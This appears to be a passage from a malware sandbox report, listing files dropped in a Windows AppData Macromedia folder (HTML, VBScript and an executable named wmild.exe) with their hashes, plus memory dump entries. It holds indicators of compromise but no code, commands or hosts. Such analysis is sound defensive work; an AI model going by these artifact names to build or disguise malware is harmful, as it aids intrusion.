278c7bc4c25ceda373ede035d5afcf826d6ef1a1401aa4fc828373bb58fc146b

SHA512
abb227b47b387957c891a3002f1d6ec9cd7bbd437fb89b1aa8791f73d84d1fdae70d9567e85662abeefcfa752ee27f69406d9659316b28846099529a5d3b7f4b

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\index.html
Filesize
23KB

MD5
5456345dd00e29df0d14178da5ecc8a4

SHA1
762a3fffa5a588e841fadcb2b792133c3eeead2b

SHA256
8ad15a91017a233f8f2ec0c134feb77dad6b450872f44d085afb83b56dfae96d

SHA512
6d7ee92637f3480a51caa2aa1304e8b7fe00aa488b96c37225dfab116291b22cafb6d9e2af1bab1694f6b9f8c2e0ac8ee17859b06abc3820827cace3ed53184b

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\index.html
Filesize
23KB

MD5
c88f54c33c84d7a16e5d8cbbdea17aed

SHA1
073fb38301287c2f379abe597365220bbe6f4a98

SHA256
3a3f8e1b0c106d83fb8bd71da1c97a4cd787fd35f2b1c56fbd5118dd2e8cc763

SHA512
62f8712c9b9d20a2052f1ff39457d15020e3ab7b3e10f890ce1566ad44dbbe695ed7705f22ad688471711f278437caf0953874ddcff0a48bec8fd910eb85ef58

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\index.html
Filesize
23KB

MD5
e628dc0dfd428cf2326d86f1a397cb73

SHA1
92668d1f9cdf4d628b681045015b35a7d0add604

SHA256
fb2753fb3ba170cf3108642300d510e2745c935e923f9c13804b031bfd0b9058

SHA512
aee3488b15010eee16f56a0d0623d43e8cba22204ec14cda98e42e27824757eb32eaf1f3eacfc1e079d7c7334378812571ae9de11228f803b596d2916e847bc4

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\index.html
Filesize
23KB

MD5
585abf49e049998a1a396d77acf3e9af

SHA1
1182de5f53245d7d8a418a63b442a92ce8e4c9f0

SHA256
ba3af107595dddd669e2897ff3c2e6c2e37a464d02b2e9f96cb25ec268ba5c8f

SHA512
a6dcc0abd04929bd50bcc36ceaa2311e6a39c83a68dcaf442403939a1b4c061f19cde91bbb0297e15bf9eb78e8803ddfab044bf97a6edce82621f86d4090b403

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\nobuf.vbs
Filesize
180B

MD5
01c573bf7073b7a63bab7d231578c9f0

SHA1
42a3982701f3c7d90ac8ea2350a0540a4477eaa7

SHA256
de9f70f7e727f91adcb411507a685c3eee220e06b440ee69d7cfde62ef0809ad

SHA512
fce42b5fed68bbe3c3105395265fde3413d1ccb9419a9983d88b2f0f606f0fb34853580278e95087c8a6197fe4a97fc7c037ef0e6351f594add3808964d26df0

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\svr.vbs
Filesize
142B

MD5
68ef63c560cb92331c87ee8d7d66be5f

SHA1
7a3a02a84f759ea3df53ed841189a51085e4f012

SHA256
6244a594ab0706c888339de2442ec9a0c96ea76e10fd43e09be5747186e9e238

SHA512
55535e2bceba6dceccfd41bb97259782a3adeacda16166eff719842cd210c238b43a114ddc604a2ad442521451ff813e6b3d7d03777f6c099daffd33bbfd037d

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
Filesize
159KB

MD5
f9f8d1c53d312f17c6f830e7b4e6651d

SHA1
6b3eb6069b69fbcfa6e1e9c231ce95674d698f51

SHA256
bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749

SHA512
ceb9b35ea3876ab57a6e0213afbb6914f8e5d448189e5e3caa7ea1709153596ea90f5e7c2031bc0f6f0b45771dc7f9721c5337c8665fc3d1ed1cef4ae8ab964a

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
Filesize
159KB

MD5
f9f8d1c53d312f17c6f830e7b4e6651d

SHA1
6b3eb6069b69fbcfa6e1e9c231ce95674d698f51

SHA256
bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749

SHA512
ceb9b35ea3876ab57a6e0213afbb6914f8e5d448189e5e3caa7ea1709153596ea90f5e7c2031bc0f6f0b45771dc7f9721c5337c8665fc3d1ed1cef4ae8ab964a

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
Filesize
159KB

MD5
f9f8d1c53d312f17c6f830e7b4e6651d

SHA1
6b3eb6069b69fbcfa6e1e9c231ce95674d698f51

SHA256
bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749

SHA512
ceb9b35ea3876ab57a6e0213afbb6914f8e5d448189e5e3caa7ea1709153596ea90f5e7c2031bc0f6f0b45771dc7f9721c5337c8665fc3d1ed1cef4ae8ab964a

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
Filesize
159KB

MD5
f9f8d1c53d312f17c6f830e7b4e6651d

SHA1
6b3eb6069b69fbcfa6e1e9c231ce95674d698f51

SHA256
bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749

SHA512
ceb9b35ea3876ab57a6e0213afbb6914f8e5d448189e5e3caa7ea1709153596ea90f5e7c2031bc0f6f0b45771dc7f9721c5337c8665fc3d1ed1cef4ae8ab964a

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
Filesize
159KB

MD5
f9f8d1c53d312f17c6f830e7b4e6651d

SHA1
6b3eb6069b69fbcfa6e1e9c231ce95674d698f51

SHA256
bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749

SHA512
ceb9b35ea3876ab57a6e0213afbb6914f8e5d448189e5e3caa7ea1709153596ea90f5e7c2031bc0f6f0b45771dc7f9721c5337c8665fc3d1ed1cef4ae8ab964a

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
Filesize
159KB

MD5
f9f8d1c53d312f17c6f830e7b4e6651d

SHA1
6b3eb6069b69fbcfa6e1e9c231ce95674d698f51

SHA256
bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749

SHA512
ceb9b35ea3876ab57a6e0213afbb6914f8e5d448189e5e3caa7ea1709153596ea90f5e7c2031bc0f6f0b45771dc7f9721c5337c8665fc3d1ed1cef4ae8ab964a

Download Submit
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
Filesize
159KB

MD5
f9f8d1c53d312f17c6f830e7b4e6651d

SHA1
6b3eb6069b69fbcfa6e1e9c231ce95674d698f51

SHA256
bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749

SHA512
ceb9b35ea3876ab57a6e0213afbb6914f8e5d448189e5e3caa7ea1709153596ea90f5e7c2031bc0f6f0b45771dc7f9721c5337c8665fc3d1ed1cef4ae8ab964a

Download Submit
memory/440-139-0x0000000000000000-mapping.dmp

Download
memory/912-158-0x0000000000000000-mapping.dmp

Download
memory/1008-159-0x0000000000000000-mapping.dmp

Download
memory/1100-136-0x0000000000000000-mapping.dmp

Download
memory/1248-163-0x0000000000000000-mapping.dmp

Download
memory/1416-174-0x0000000000000000-mapping.dmp

Download
memory/1460-148-0x0000000000000000-mapping.dmp

Download
memory/1600-135-0x0000000000000000-mapping.dmp

Download
memory/1768-171-0x0000000000000000-mapping.dmp

Download
memory/1868-150-0x0000000000000000-mapping.dmp

Download
memory/1928-151-0x0000000000000000-mapping.dmp

Download
memory/1944-170-0x0000000000000000-mapping.dmp

Download
memory/2028-152-0x0000000000000000-mapping.dmp

Download
memory/2764-156-0x0000000000000000-mapping.dmp

Download
memory/3524-149-0x0000000000000000-mapping.dmp

Download
memory/3680-138-0x0000000000000000-mapping.dmp

Download
memory/3872-178-0x0000000000000000-mapping.dmp

Download
memory/3976-153-0x0000000000000000-mapping.dmp

Download
memory/4140-145-0x0000000000000000-mapping.dmp

Download
memory/4152-166-0x0000000000000000-mapping.dmp

Download
memory/4240-143-0x0000000000000000-mapping.dmp

Download
memory/4424-154-0x0000000000000000-mapping.dmp

Download
memory/4440-130-0x0000000000000000-mapping.dmp

Download
memory/4532-157-0x0000000000000000-mapping.dmp

Download
memory/4540-147-0x0000000000000000-mapping.dmp

Download
memory/4572-165-0x0000000000000000-mapping.dmp

Download
memory/4692-155-0x0000000000000000-mapping.dmp

Download
memory/4724-140-0x0000000000000000-mapping.dmp

Download
memory/4728-167-0x0000000000000000-mapping.dmp

Download
memory/4948-132-0x0000000000000000-mapping.dmp

Download
memory/5116-177-0x0000000000000000-mapping.dmp

Download